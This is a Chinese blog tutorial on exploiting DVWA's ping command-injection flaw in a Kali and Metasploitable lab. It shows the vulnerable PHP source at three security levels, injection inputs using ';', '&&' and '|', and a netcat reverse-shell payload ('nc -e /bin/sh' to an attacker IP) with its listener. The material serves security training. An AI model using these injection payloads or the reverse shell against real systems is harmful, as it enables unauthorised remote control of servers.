欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

【渗透测试笔记】五、代码执行漏洞

程序员文章站 2022-05-27 15:46:14
...

We are all in the gutter, but some of us are looking at the stars.
身在井隅,心向璀璨。

本文仅供学习交流,正确使用渗透测试,遵守相关法律法规,请勿用于非法用途。

实验环境

本实验基于以下环境:

确保所有虚拟机处于同一个NAT Network下

  • 启动Metasploitable,利用 ifconfig 获取本机IP
  • 启动Kali,进行渗透测试,浏览器输入Metasploitable中查询到的IP,访问漏洞页面

关于漏洞

Command Execution 漏洞产生原因以及危害

  • 允许attacker执行os commands
  • 可以获取reverse shell
  • attacker可以使用 wget 命令上传任何文件,后门,病毒等

漏洞挖掘

同样以DVWA为例,默认登录账号admin/password

DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境。

【渗透测试笔记】五、代码执行漏洞
【渗透测试笔记】五、代码执行漏洞
【渗透测试笔记】五、代码执行漏洞
可以看到,该页面提供Ping功能

安全级别:Low

安全级别为Low时的源码:

 <?php

if( isset( $_POST[ 'submit' ] ) ) {

    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if (stristr(php_uname('s'), 'Windows NT')) { 
    
        $cmd = shell_exec( 'ping  ' . $target );
        echo '<pre>'.$cmd.'</pre>';
        
    } else { 
    
        $cmd = shell_exec( 'ping  -c 3 ' . $target );
        echo '<pre>'.$cmd.'</pre>';
        
    }
    
}
?> 

未对用户输入做任何过滤处理,直接尝试输入其他命令,用“ ; ”或者" && "分隔,成功执行。
【渗透测试笔记】五、代码执行漏洞

安全级别:Medium

源码:

 <?php

if( isset( $_POST[ 'submit'] ) ) {

    $target = $_REQUEST[ 'ip' ];

    // Remove any of the charactars in the array (blacklist).
    $substitutions = array(
        '&&' => '',
        ';' => '',
    );

    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    
    // Determine OS and execute the ping command.
    if (stristr(php_uname('s'), 'Windows NT')) { 
    
        $cmd = shell_exec( 'ping  ' . $target );
        echo '<pre>'.$cmd.'</pre>';
        
    } else { 
    
        $cmd = shell_exec( 'ping  -c 3 ' . $target );
        echo '<pre>'.$cmd.'</pre>';
        
    }
}

?> 

相对于Low来说,增加了字符过滤,直接按照Low中的方法无法执行命令,可以尝试使用Linux中的管道符技术 " | ",代码成功执行。

【渗透测试笔记】五、代码执行漏洞

安全级别:High

<?php

if( isset( $_POST[ 'submit' ] ) ) {

    $target = $_REQUEST["ip"];
    
    $target = stripslashes( $target );
    
    
    // Split the IP into 4 octects
    $octet = explode(".", $target);
    
    // Check IF each octet is an integer
    if ((is_numeric($octet[0])) && (is_numeric($octet[1])) && (is_numeric($octet[2])) && (is_numeric($octet[3])) && (sizeof($octet) == 4)  ) {
    
    // If all 4 octets are int's put the IP back together.
    $target = $octet[0].'.'.$octet[1].'.'.$octet[2].'.'.$octet[3];
    
    
        // Determine OS and execute the ping command.
        if (stristr(php_uname('s'), 'Windows NT')) { 
    
            $cmd = shell_exec( 'ping  ' . $target );
            echo '<pre>'.$cmd.'</pre>';
        
        } else { 
    
            $cmd = shell_exec( 'ping  -c 3 ' . $target );
            echo '<pre>'.$cmd.'</pre>';
        
        }
    
    }
    
    else {
        echo '<pre>ERROR: You have entered an invalid IP</pre>';
    }
    
    
}

?> 

在安全级别为High时,将用户输入内容按"."分隔成四部分,确认是否为数字(有效IP地址),未发现可利用漏洞。

漏洞利用

以安全级别为Low举例

获取reverse shell

可以利用netcat反向连接到attacker的主机

在attacker主机启动监听端口(这里监听8888)

nc -lvp 8888

【渗透测试笔记】五、代码执行漏洞
利用漏洞,IP填写attacker的主机,实现反向shell

127.0.0.1 ; nc -e /bin/sh attacker的IP(自行修改)  8888

【渗透测试笔记】五、代码执行漏洞
在Kali上发现之前正在监听的端口已经收到来自目标的连接,可以执行相应的命令,举例:ls 查看当前目录文件, pwd查看当前位置等。
【渗透测试笔记】五、代码执行漏洞
netcat 参数说明:
【渗透测试笔记】五、代码执行漏洞

漏洞预防

对用户输入进行过滤,如使用正则表达式,白名单,黑名单等。

相关标签: 【渗透测试】